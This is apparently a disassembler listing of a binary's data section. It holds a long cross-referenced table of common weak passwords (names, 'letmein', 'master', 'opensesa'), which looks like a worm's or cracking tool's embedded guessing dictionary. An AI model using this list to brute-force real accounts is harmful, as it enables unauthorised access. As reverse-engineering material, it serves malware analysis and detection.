aPatricia db 'patricia',0 ; DATA XREF: .nsp0:00426ED4o
align 10h
aPaste db 'paste',0 ; DATA XREF: .nsp0:00426ED0o
align 4
aPassphra db 'passphra',0 ; DATA XREF: .nsp0:00426ECCo
align 4
aPascal db 'pascal',0 ; DATA XREF: .nsp0:00426EC8o
align 4
aPapers db 'papers',0 ; DATA XREF: .nsp0:00426EC4o
align 4
aPaper db 'paper',0 ; DATA XREF: .nsp0:00426EC0o
align 4
aPapa db 'papa',0 ; DATA XREF: .nsp0:00426EBCo
align 4
aPamela db 'pamela',0 ; DATA XREF: .nsp0:00426EB8o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:00426EB4o
align 4
aPaint db 'paint',0 ; DATA XREF: .nsp0:00426EB0o
align 10h
aPainless db 'painless',0 ; DATA XREF: .nsp0:00426EACo
align 4
aPacker db 'packer',0 ; DATA XREF: .nsp0:00426EA8o
align 4
aPackard db 'packard',0 ; DATA XREF: .nsp0:00426EA4o
aPacific db 'pacific',0 ; DATA XREF: .nsp0:00426EA0o
aOxford db 'oxford',0 ; DATA XREF: .nsp0:00426E9Co
align 4
aOutside db 'outside',0 ; DATA XREF: .nsp0:00426E98o
aOutput db 'output',0 ; DATA XREF: .nsp0:00426E94o
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:00426E90o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:00426E8Co
align 10h
aOsiris db 'osiris',0 ; DATA XREF: .nsp0:00426E88o
align 4
aOscar db 'oscar',0 ; DATA XREF: .nsp0:00426E84o
align 10h
aOrwell db 'orwell',0 ; DATA XREF: .nsp0:00426E80o
align 4
aOrient db 'orient',0 ; DATA XREF: .nsp0:00426E7Co
align 10h
aOrca db 'orca',0 ; DATA XREF: .nsp0:00426E78o
align 4
aOperator db 'operator',0 ; DATA XREF: .nsp0:00426E74o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:00426E70o
align 10h
aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:00426E6Co
align 4
aOpening db 'opening',0 ; DATA XREF: .nsp0:00426E68o
aOmega db 'omega',0 ; DATA XREF: .nsp0:00426E60o
align 4
aOlivia db 'olivia',0 ; DATA XREF: .nsp0:00426E5Co
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:00426E58o
align 10h
aOldage db 'oldage',0 ; DATA XREF: .nsp0:00426E54o
align 4
aOkay db 'okay',0 ; DATA XREF: .nsp0:00426E50o
align 10h
aOffice db 'office',0 ; DATA XREF: .nsp0:00426E4Co
align 4
aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:00426E48o
align 10h
aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:00426E44o
align 4
aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:00426E40o
align 4
aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:00426E3Co
aNuts db 'nuts',0 ; DATA XREF: .nsp0:00426E38o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:00426E34o
align 4
aNumber db 'number',0 ; DATA XREF: .nsp0:00426E30o
align 4
aNull_1 db 'null',0 ; DATA XREF: .nsp0:00426E2Co
align 4
aNukem db 'nukem',0 ; DATA XREF: .nsp0:00426E28o
align 4
aNuke db 'nuke',0 ; DATA XREF: .nsp0:00426E24o
align 4
aNude db 'nude',0 ; DATA XREF: .nsp0:00426E20o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:00426E1Co
aNoxious db 'noxious',0 ; DATA XREF: .nsp0:00426E18o
aNovember db 'november',0 ; DATA XREF: .nsp0:00426E14o
align 4
aNovel db 'novel',0 ; DATA XREF: .nsp0:00426E10o
align 10h
aNova db 'nova',0 ; DATA XREF: .nsp0:00426E0Co
align 4
aNoth db 'noth',0 ; DATA XREF: .nsp0:00426E08o
align 10h
aNotes db 'notes',0 ; DATA XREF: .nsp0:00426E04o
align 4
aNoreen db 'noreen',0 ; DATA XREF: .nsp0:00426E00o
align 10h
aNode db 'node',0 ; DATA XREF: .nsp0:00426DFCo
align 4
aNobody db 'nobody',0 ; DATA XREF: .nsp0:00426DF8o
align 10h
aNoble db 'noble',0 ; DATA XREF: .nsp0:00426DF4o
align 4
aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:00426DF0o
align 10h
aNita db 'nita',0 ; DATA XREF: .nsp0:00426DECo
align 4
aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:00426DE8o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:00426DE4o
align 10h
aNight db 'night',0 ; DATA XREF: .nsp0:00426DE0o
align 4
aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:00426DDCo
align 4
aNicole db 'nicole',0 ; DATA XREF: .nsp0:00426DD8o
align 4
aNice db 'nice',0 ; DATA XREF: .nsp0:00426DD4o
align 4
aNext db 'next',0 ; DATA XREF: .nsp0:00426DD0o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .nsp0:00426DCCo
aNewton db 'newton',0 ; DATA XREF: .nsp0:00426DC8o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:00426DC4o
align 4
aNews db 'news',0 ; DATA XREF: .nsp0:00426DC0o
align 10h
aNewborn db 'newborn',0 ; DATA XREF: .nsp0:00426DBCo
aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:00426DB8o
aNetscape db 'netscape',0 ; DATA XREF: .nsp0:00426DB4o
align 4
aNess db 'ness',0 ; DATA XREF: .nsp0:00426DB0o
align 4
aNeptune db 'neptune',0 ; DATA XREF: .nsp0:00426DACo
aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:00426DA8o
align 4
aNavy db 'navy',0 ; DATA XREF: .nsp0:00426DA4o
align 10h
aNasa db 'nasa',0 ; DATA XREF: .nsp0:00426DA0o
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:00426D9Co
align 4
aNancy db 'nancy',0 ; DATA XREF: .nsp0:00426D98o
align 4
aName db 'name',0 ; DATA XREF: .nsp0:00426D94o
align 4
aNagel db 'nagel',0 ; DATA XREF: .nsp0:00426D90o
align 4
aMutant db 'mutant',0 ; DATA XREF: .nsp0:00426D8Co
align 4
aMuppets db 'muppets',0 ; DATA XREF: .nsp0:00426D88o
aMsdos db 'msdos',0 ; DATA XREF: .nsp0:00426D84o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:00426D80o
align 4
aMozart db 'mozart',0 ; DATA XREF: .nsp0:00426D7Co
align 4
aMovies db 'movies',0 ; DATA XREF: .nsp0:00426D78o
align 4
aMovie db 'movie',0 ; DATA XREF: .nsp0:00426D74o
align 4
aMove db 'move',0 ; DATA XREF: .nsp0:00426D70o
align 4
aMouse db 'mouse',0 ; DATA XREF: .nsp0:00426D6Co
align 4
aMountain db 'mountain',0 ; DATA XREF: .nsp0:00426D68o
align 10h
aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:00426D64o
align 4
aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:00426D60o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:00426D5Co
align 10h
aMortal db 'mortal',0 ; DATA XREF: .nsp0:00426D58o
align 4
aMorris db 'morris',0 ; DATA XREF: .nsp0:00426D54o
align 10h
aMorley db 'morley',0 ; DATA XREF: .nsp0:00426D50o
align 4
aMore db 'more',0 ; DATA XREF: .nsp0:00426D4Co
align 10h
aMoose db 'moose',0 ; DATA XREF: .nsp0:00426D48o
align 4
aMoor db 'moor',0 ; DATA XREF: .nsp0:00426D44o
align 10h
aMoom db 'moom',0 ; DATA XREF: .nsp0:00426D40o
align 4
aMonica db 'monica',0 ; DATA XREF: .nsp0:00426D3Co
align 10h
aMonday db 'monday',0 ; DATA XREF: .nsp0:00426D38o
align 4
aMoguls db 'moguls',0 ; DATA XREF: .nsp0:00426D34o
align 10h
aMogul db 'mogul',0 ; DATA XREF: .nsp0:00426D30o
align 4
aModem db 'modem',0 ; DATA XREF: .nsp0:00426D2Co
align 10h
aMode db 'mode',0 ; DATA XREF: .nsp0:00426D28o
align 4
aMkii db 'mkii',0 ; DATA XREF: .nsp0:00426D24o
align 10h
aMission db 'mission',0 ; DATA XREF: .nsp0:00426D20o
aMisfit db 'misfit',0 ; DATA XREF: .nsp0:00426D1Co
align 10h
aMinsky db 'minsky',0 ; DATA XREF: .nsp0:00426D18o
align 4
aMinimum db 'minimum',0 ; DATA XREF: .nsp0:00426D14o
aMine db 'mine',0 ; DATA XREF: .nsp0:00426D10o
align 4
aMike db 'mike',0 ; DATA XREF: .nsp0:00426D0Co
align 10h
aMidieval db 'midieval',0 ; DATA XREF: .nsp0:00426D08o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:00426D04o
align 4
aMicropro db 'micropro',0 ; DATA XREF: .nsp0:00426D00o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:00426CFCo
align 10h
aMicro db 'micro',0 ; DATA XREF: .nsp0:00426CF8o
align 4
aMickey db 'mickey',0 ; DATA XREF: .nsp0:00426CF4o
align 10h
aMichelle db 'michelle',0 ; DATA XREF: .nsp0:00426CF0o
align 4
aMichele db 'michele',0 ; DATA XREF: .nsp0:00426CECo
aMichelan db 'michelan',0 ; DATA XREF: .nsp0:00426CE8o
align 10h
aMichel db 'michel',0 ; DATA XREF: .nsp0:00426CE4o
align 4
aMichael db 'michael',0 ; DATA XREF: .nsp0:00426CE0o
aMice db 'mice',0 ; DATA XREF: .nsp0:00426CDCo
align 4
aMets db 'mets',0 ; DATA XREF: .nsp0:00426CD8o
align 10h
aMetalica db 'metalica',0 ; DATA XREF: .nsp0:00426CD4o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:00426CD0o
align 4
aMetal db 'metal',0 ; DATA XREF: .nsp0:00426CCCo
align 10h
aMerlin db 'merlin',0 ; DATA XREF: .nsp0:00426CC8o
align 4
aMercury db 'mercury',0 ; DATA XREF: .nsp0:00426CC4o
aMenu db 'menu',0 ; DATA XREF: .nsp0:00426CC0o
align 4
aMenace db 'menace',0 ; DATA XREF: .nsp0:00426CBCo
align 10h
aMemory db 'memory',0 ; DATA XREF: .nsp0:00426CB8o
align 4
aMember db 'member',0 ; DATA XREF: .nsp0:00426CB4o
align 10h
aMelrose db 'melrose',0 ; DATA XREF: .nsp0:00426CB0o
aMellon db 'mellon',0 ; DATA XREF: .nsp0:00426CACo
align 10h
aMelissa db 'melissa',0 ; DATA XREF: .nsp0:00426CA8o
aMegan db 'megan',0 ; DATA XREF: .nsp0:00426CA4o
align 10h
aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:00426CA0o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:00426C9Co
align 4
aMeagan db 'meagan',0 ; DATA XREF: .nsp0:00426C98o
align 10h
aMaurice db 'maurice',0 ; DATA XREF: .nsp0:00426C94o
aMath db 'math',0 ; DATA XREF: .nsp0:00426C90o
align 10h
aMaster db 'master',0 ; DATA XREF: .nsp0:00426C8Co
align 4
aMason db 'mason',0 ; DATA XREF: .nsp0:00426C88o
align 10h
aMary db 'mary',0 ; DATA XREF: .nsp0:00426C84o
align 4
aMarvin db 'marvin',0 ; DATA XREF: .nsp0:00426C80o
align 10h
aMarty db 'marty',0 ; DATA XREF: .nsp0:00426C7Co
align 4
aMars db 'mars',0 ; DATA XREF: .nsp0:00426C78o
align 10h
aMarriage db 'marriage',0 ; DATA XREF: .nsp0:00426C74o
align 4
aMarni db 'marni',0 ; DATA XREF: .nsp0:00426C70o
align 4
aMarkus db 'markus',0 ; DATA XREF: .nsp0:00426C6Co
align 4
aMark db 'mark',0 ; DATA XREF: .nsp0:00426C68o
align 4
aMarines db 'marines',0 ; DATA XREF: .nsp0:00426C64o
aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:00426C60o
align 4
aMarietta db 'marietta',0 ; DATA XREF: .nsp0:00426C5Co
align 4
aMariens db 'mariens',0 ; DATA XREF: .nsp0:00426C58o
aMaria db 'maria',0 ; DATA XREF: .nsp0:00426C54o
align 4
aMarcy db 'marcy',0 ; DATA XREF: .nsp0:00426C50o
align 4
aMarci db 'marci',0 ; DATA XREF: .nsp0:00426C4Co
align 4
aMara db 'mara',0 ; DATA XREF: .nsp0:00426C48o
align 4
aManager db 'manager',0 ; DATA XREF: .nsp0:00426C44o
aMana db 'mana',0 ; DATA XREF: .nsp0:00426C40o
align 4
aMalcom db 'malcom',0 ; DATA XREF: .nsp0:00426C3Co
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:00426C38o
aMaint db 'maint',0 ; DATA XREF: .nsp0:00426C34o
align 4
aMail db 'mail',0 ; DATA XREF: .nsp0:00426C30o
align 4
aMagnet db 'magnet',0 ; DATA XREF: .nsp0:00426C2Co
align 4
aMagic db 'magic',0 ; DATA XREF: .nsp0:00426C28o
align 4
aMaggot db 'maggot',0 ; DATA XREF: .nsp0:00426C24o
align 4
aMacro db 'macro',0 ; DATA XREF: .nsp0:00426C20o
align 4
aMack db 'mack',0 ; DATA XREF: .nsp0:00426C1Co
align 4
aMacintos db 'macintos',0 ; DATA XREF: .nsp0:00426C18o
align 10h
aMachine db 'machine',0 ; DATA XREF: .nsp0:00426C14o
aLynne db 'lynne',0 ; DATA XREF: .nsp0:00426C10o
align 10h
aLynn db 'lynn',0 ; DATA XREF: .nsp0:00426C0Co
align 4
aLust db 'lust',0 ; DATA XREF: .nsp0:00426C08o
align 10h
aLuke db 'luke',0 ; DATA XREF: .nsp0:00426C04o
align 4
aLude db 'lude',0 ; DATA XREF: .nsp0:00426C00o
align 10h
aLucy db 'lucy',0 ; DATA XREF: .nsp0:00426BFCo
align 4
aLucus db 'lucus',0 ; DATA XREF: .nsp0:00426BF8o
align 10h
aLuck db 'luck',0 ; DATA XREF: .nsp0:00426BF4o
align 4
aLover db 'lover',0 ; DATA XREF: .nsp0:00426BF0o
align 10h
aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:00426BECo
aLouis db 'louis',0 ; DATA XREF: .nsp0:00426BE8o
align 10h
aLoser db 'loser',0 ; DATA XREF: .nsp0:00426BE4o
align 4
aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:00426BE0o
align 4
aLorin db 'lorin',0 ; DATA XREF: .nsp0:00426BDCo
align 4
aLori db 'lori',0 ; DATA XREF: .nsp0:00426BD8o
align 4
aLore db 'lore',0 ; DATA XREF: .nsp0:00426BD4o
align 4
aLoose db 'loose',0 ; DATA XREF: .nsp0:00426BD0o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:00426BCCo
align 4
aLois db 'lois',0 ; DATA XREF: .nsp0:00426BC8o
align 4
aLogout db 'logout',0 ; DATA XREF: .nsp0:00426BC4o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:00426BC0o
align 4
aLogic db 'logic',0 ; DATA XREF: .nsp0:00426BBCo
align 10h
aLockword db 'lockword',0 ; DATA XREF: .nsp0:00426BB8o
align 4
aLockout db 'lockout',0 ; DATA XREF: .nsp0:00426BB4o
aLock db 'lock',0 ; DATA XREF: .nsp0:00426BB0o
align 4
aLoad db 'load',0 ; DATA XREF: .nsp0:00426BACo
align 4
aLive db 'live',0 ; DATA XREF: .nsp0:00426BA8o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:00426BA4o
align 4
aLisp db 'lisp',0 ; DATA XREF: .nsp0:00426BA0o
align 10h
aLisa db 'lisa',0 ; DATA XREF: .nsp0:00426B9Co
align 4
aLips db 'lips',0 ; DATA XREF: .nsp0:00426B98o
align 10h
aLion db 'lion',0 ; DATA XREF: .nsp0:00426B94o
align 4
aLink db 'link',0 ; DATA XREF: .nsp0:00426B90o
align 10h
aLinda db 'linda',0 ; DATA XREF: .nsp0:00426B8Co
align 4
aLimited db 'limited',0 ; DATA XREF: .nsp0:00426B88o
aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:00426B84o
align 4
aLima db 'lima',0 ; DATA XREF: .nsp0:00426B80o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:00426B7Co
align 10h
aLight db 'light',0 ; DATA XREF: .nsp0:00426B78o
align 4
aLife db 'life',0 ; DATA XREF: .nsp0:00426B74o
align 10h
aLicker db 'licker',0 ; DATA XREF: .nsp0:00426B70o
align 4
aLick db 'lick',0 ; DATA XREF: .nsp0:00426B6Co
align 10h
aLibrary db 'library',0 ; DATA XREF: .nsp0:00426B68o
aLiberal db 'liberal',0 ; DATA XREF: .nsp0:00426B64o
aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:00426B60o
align 4
aLewis db 'lewis',0 ; DATA XREF: .nsp0:00426B5Co
align 4
aLetmein db 'letmein',0 ; DATA XREF: .nsp0:00426B58o
aLeslie db 'leslie',0 ; DATA XREF: .nsp0:00426B54o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:00426B50o
aLeroy db 'leroy',0 ; DATA XREF: .nsp0:00426B4Co
align 4
aLeland db 'leland',0 ; DATA XREF: .nsp0:00426B48o
align 4
aLegal db 'legal',0 ; DATA XREF: .nsp0:00426B44o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:00426B40o
align 10h
aLeft db 'left',0 ; DATA XREF: .nsp0:00426B3Co
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:00426B38o
align 4
aLeah db 'leah',0 ; DATA XREF: .nsp0:00426B34o
align 4
aLazer db 'lazer',0 ; DATA XREF: .nsp0:00426B30o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:00426B2Co
aLava db 'lava',0 ; DATA XREF: .nsp0:00426B28o
align 4
aLaura db 'laura',0 ; DATA XREF: .nsp0:00426B24o
align 4
aLaser db 'laser',0 ; DATA XREF: .nsp0:00426B20o
align 4
aLarry db 'larry',0 ; DATA XREF: .nsp0:00426B1Co
align 4
aLarkin db 'larkin',0 ; DATA XREF: .nsp0:00426B18o
align 4
aLara db 'lara',0 ; DATA XREF: .nsp0:00426B14o
align 4
aLaptop db 'laptop',0 ; DATA XREF: .nsp0:00426B10o
align 4
aLana db 'lana',0 ; DATA XREF: .nsp0:00426B0Co
align 4
aLaminati db 'laminati',0 ; DATA XREF: .nsp0:00426B08o
align 4
aLambda db 'lambda',0 ; DATA XREF: .nsp0:00426B04o
align 10h
aLakers db 'lakers',0 ; DATA XREF: .nsp0:00426B00o
align 4
aLadle db 'ladle',0 ; DATA XREF: .nsp0:00426AFCo
align 10h
aLadies db 'ladies',0 ; DATA XREF: .nsp0:00426AF8o
align 4
aKristy db 'kristy',0 ; DATA XREF: .nsp0:00426AF4o
align 10h
aKristine db 'kristine',0 ; DATA XREF: .nsp0:00426AF0o
align 4
aKristin db 'kristin',0 ; DATA XREF: .nsp0:00426AECo
aKristie db 'kristie',0 ; DATA XREF: .nsp0:00426AE8o
aKristi db 'kristi',0 ; DATA XREF: .nsp0:00426AE4o
align 4
aKristen db 'kristen',0 ; DATA XREF: .nsp0:00426AE0o
aKrista db 'krista',0 ; DATA XREF: .nsp0:00426ADCo
align 4
aKnown db 'known',0 ; DATA XREF: .nsp0:00426AD8o
align 4
aKnightma db 'knightma',0 ; DATA XREF: .nsp0:00426AD4o
align 4
aKnight db 'knight',0 ; DATA XREF: .nsp0:00426AD0o
align 10h
aKnife db 'knife',0 ; DATA XREF: .nsp0:00426ACCo
align 4
aKlingon db 'klingon',0 ; DATA XREF: .nsp0:00426AC8o
aKitten db 'kitten',0 ; DATA XREF: .nsp0:00426AC4o
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:00426AC0o
align 4
aKiss db 'kiss',0 ; DATA XREF: .nsp0:00426ABCo
align 4
aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:00426AB8o
align 4
aKirk db 'kirk',0 ; DATA XREF: .nsp0:00426AB4o
align 10h
aKing db 'king',0 ; DATA XREF: .nsp0:00426AB0o
align 4
aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:00426AACo
align 4
aKilo db 'kilo',0 ; DATA XREF: .nsp0:00426AA8o
align 4
aKillthem db 'killthem',0 ; DATA XREF: .nsp0:00426AA4o
align 4
aKill db 'kill',0 ; DATA XREF: .nsp0:00426AA0o
align 10h
aKids db 'kids',0 ; DATA XREF: .nsp0:00426A9Co
align 4
aKeyword db 'keyword',0 ; DATA XREF: .nsp0:00426A98o
aKeyin db 'keyin',0 ; DATA XREF: .nsp0:00426A94o
align 4
aKeybord db 'keybord',0 ; DATA XREF: .nsp0:00426A90o
aKewl db 'kewl',0 ; DATA XREF: .nsp0:00426A8Co
align 4
aKevin db 'kevin',0 ; DATA XREF: .nsp0:00426A88o
align 10h
aKerry db 'kerry',0 ; DATA XREF: .nsp0:00426A84o
align 4
aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:00426A80o
align 10h
aKerri db 'kerri',0 ; DATA XREF: .nsp0:00426A7Co
align 4
aKernel db 'kernel',0 ; DATA XREF: .nsp0:00426A78o
align 10h
aKermit db 'kermit',0 ; DATA XREF: .nsp0:00426A74o
align 4
aKeri db 'keri',0 ; DATA XREF: .nsp0:00426A70o
align 10h
aKelly db 'kelly',0 ; DATA XREF: .nsp0:00426A6Co
align 4
aKatrina db 'katrina',0 ; DATA XREF: .nsp0:00426A68o
aKatina db 'katina',0 ; DATA XREF: .nsp0:00426A64o
align 4
aKathy db 'kathy',0 ; DATA XREF: .nsp0:00426A60o
align 10h
aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:00426A5Co
align 4
aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:00426A58o
align 4
aKate db 'kate',0 ; DATA XREF: .nsp0:00426A54o
align 10h
aKatana db 'katana',0 ; DATA XREF: .nsp0:00426A50o
align 4
aKarina db 'karina',0 ; DATA XREF: .nsp0:00426A4Co
align 10h
aKarie db 'karie',0 ; DATA XREF: .nsp0:00426A48o
align 4
aKaren db 'karen',0 ; DATA XREF: .nsp0:00426A44o
align 10h
aKaka db 'kaka',0 ; DATA XREF: .nsp0:00426A40o
align 4
aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:00426A3Co
aJune db 'june',0 ; DATA XREF: .nsp0:00426A38o
align 4
aJuliet db 'juliet',0 ; DATA XREF: .nsp0:00426A34o
align 10h
aJulie db 'julie',0 ; DATA XREF: .nsp0:00426A30o
align 4
aJulia db 'julia',0 ; DATA XREF: .nsp0:00426A2Co
align 10h
aJuicy db 'juicy',0 ; DATA XREF: .nsp0:00426A28o
align 4
aJuggle db 'juggle',0 ; DATA XREF: .nsp0:00426A24o
align 10h
aJudy db 'judy',0 ; DATA XREF: .nsp0:00426A20o
align 4
aJudith db 'judith',0 ; DATA XREF: .nsp0:00426A1Co
align 10h
aJoyce db 'joyce',0 ; DATA XREF: .nsp0:00426A18o
align 4
aJournal db 'journal',0 ; DATA XREF: .nsp0:00426A14o
aJoshua db 'joshua',0 ; DATA XREF: .nsp0:00426A10o
align 4
aJoseph db 'joseph',0 ; DATA XREF: .nsp0:00426A0Co
align 10h
aJohnny db 'johnny',0 ; DATA XREF: .nsp0:00426A08o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:00426A04o
aJohn db 'john',0 ; DATA XREF: .nsp0:00426A00o
align 4
aJody db 'jody',0 ; DATA XREF: .nsp0:004269FCo
align 10h
aJoanne db 'joanne',0 ; DATA XREF: .nsp0:004269F8o
align 4
aJixian db 'jixian',0 ; DATA XREF: .nsp0:004269F4o
align 10h
aJill db 'jill',0 ; DATA XREF: .nsp0:004269F0o
align 4
aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:004269ECo
aJester db 'jester',0 ; DATA XREF: .nsp0:004269E8o
align 4
aJessica db 'jessica',0 ; DATA XREF: .nsp0:004269E4o
aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:004269E0o
align 4
aJerry db 'jerry',0 ; DATA XREF: .nsp0:004269DCo
align 4
aJenny db 'jenny',0 ; DATA XREF: .nsp0:004269D8o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:004269D4o
align 4
aJenni db 'jenni',0 ; DATA XREF: .nsp0:004269D0o
align 10h
aJeff db 'jeff',0 ; DATA XREF: .nsp0:004269CCo
align 4
aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:004269C8o
align 10h
aJean db 'jean',0 ; DATA XREF: .nsp0:004269C4o
align 4
aJazz db 'jazz',0 ; DATA XREF: .nsp0:004269C0o
align 10h
aJava db 'java',0 ; DATA XREF: .nsp0:004269BCo
align 4
aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:004269B8o
align 10h
aJapan db 'japan',0 ; DATA XREF: .nsp0:004269B4o
align 4
aJanie db 'janie',0 ; DATA XREF: .nsp0:004269B0o
align 10h
aJanice db 'janice',0 ; DATA XREF: .nsp0:004269ACo
align 4
aJanet db 'janet',0 ; DATA XREF: .nsp0:004269A8o
align 10h
aJane db 'jane',0 ; DATA XREF: .nsp0:004269A4o
align 4
aJail db 'jail',0 ; DATA XREF: .nsp0:004269A0o
align 10h
aJackie db 'jackie',0 ; DATA XREF: .nsp0:0042699Co
align 4
aIsis db 'isis',0 ; DATA XREF: .nsp0:00426998o
align 10h
aIrishman db 'irishman',0 ; DATA XREF: .nsp0:00426994o
align 4
aIrene db 'irene',0 ; DATA XREF: .nsp0:00426990o
align 4
aInvent db 'invent',0 ; DATA XREF: .nsp0:0042698Co
align 4
aInteger db 'integer',0 ; DATA XREF: .nsp0:00426988o
aInside db 'inside',0 ; DATA XREF: .nsp0:00426984o
align 4
aInput db 'input',0 ; DATA XREF: .nsp0:00426980o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0042697Co
align 10h
aInna db 'inna',0 ; DATA XREF: .nsp0:00426978o
align 4
aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:00426974o
align 10h
aIngress db 'ingress',0 ; DATA XREF: .nsp0:00426970o
aIngres db 'ingres',0 ; DATA XREF: .nsp0:0042696Co
align 10h
aIndians db 'indians',0 ; DATA XREF: .nsp0:00426968o
aIndiana db 'indiana',0 ; DATA XREF: .nsp0:00426964o
aIndian db 'indian',0 ; DATA XREF: .nsp0:00426960o
align 4
aIndia db 'india',0 ; DATA XREF: .nsp0:0042695Co
align 10h
aInclude db 'include',0 ; DATA XREF: .nsp0:00426958o
aImperial db 'imperial',0 ; DATA XREF: .nsp0:00426954o
align 4
aImmortal db 'immortal',0 ; DATA XREF: .nsp0:00426950o
align 10h
aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0042694Co
align 4
aImage db 'image',0 ; DATA XREF: .nsp0:00426948o
align 4
aIllumina db 'illumina',0 ; DATA XREF: .nsp0:00426944o
align 10h
aIcecream db 'icecream',0 ; DATA XREF: .nsp0:00426940o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0042693Co
align 4
aHyper db 'hyper',0 ; DATA XREF: .nsp0:00426938o
align 10h
aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:00426934o
align 4
aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:00426930o
align 4
aHunter db 'hunter',0 ; DATA XREF: .nsp0:0042692Co
align 10h
aHunt db 'hunt',0 ; DATA XREF: .nsp0:00426928o
align 4
aHttp db 'http',0 ; DATA XREF: .nsp0:00426924o
align 10h
aHotel db 'hotel',0 ; DATA XREF: .nsp0:00426920o
align 4
aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0042691Co
align 10h
aHost db 'host',0 ; DATA XREF: .nsp0:00426918o
align 4
aHorus db 'horus',0 ; DATA XREF: .nsp0:00426914o
align 10h
aHorse db 'horse',0 ; DATA XREF: .nsp0:00426910o
align 4
aHorror db 'horror',0 ; DATA XREF: .nsp0:0042690Co
align 10h
aHorrible db 'horrible',0 ; DATA XREF: .nsp0:00426908o
align 4
aHorny db 'horny',0 ; DATA XREF: .nsp0:00426904o
align 4
aHooters db 'hooters',0 ; DATA XREF: .nsp0:00426900o
aHooker db 'hooker',0 ; DATA XREF: .nsp0:004268FCo
align 4
aHoney db 'honey',0 ; DATA XREF: .nsp0:004268F8o
align 4
aHomework db 'homework',0 ; DATA XREF: .nsp0:004268F4o
align 4
aHomer db 'homer',0 ; DATA XREF: .nsp0:004268F0o
align 10h
aHomepage db 'homepage',0 ; DATA XREF: .nsp0:004268ECo
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:004268E8o
align 4
aHolly db 'holly',0 ; DATA XREF: .nsp0:004268E4o
align 10h
aHole db 'hole',0 ; DATA XREF: .nsp0:004268E0o
align 4
aHits db 'hits',0 ; DATA XREF: .nsp0:004268DCo
align 10h
aHitler db 'hitler',0 ; DATA XREF: .nsp0:004268D8o
align 4
aHighland db 'highland',0 ; DATA XREF: .nsp0:004268D4o
align 4
aHigh db 'high',0 ; DATA XREF: .nsp0:004268D0o
align 4
aHidden db 'hidden',0 ; DATA XREF: .nsp0:004268CCo
align 4
aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:004268C8o
align 10h
aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:004268C4o
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:004268C0o
align 4
aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:004268BCo
aHeroin db 'heroin',0 ; DATA XREF: .nsp0:004268B8o
align 4
aHero db 'hero',0 ; DATA XREF: .nsp0:004268B4o
align 10h
aHerbert db 'herbert',0 ; DATA XREF: .nsp0:004268B0o
aHerb db 'herb',0 ; DATA XREF: .nsp0:004268ACo
align 10h
aHelp db 'help',0 ; DATA XREF: .nsp0:004268A8o
align 4
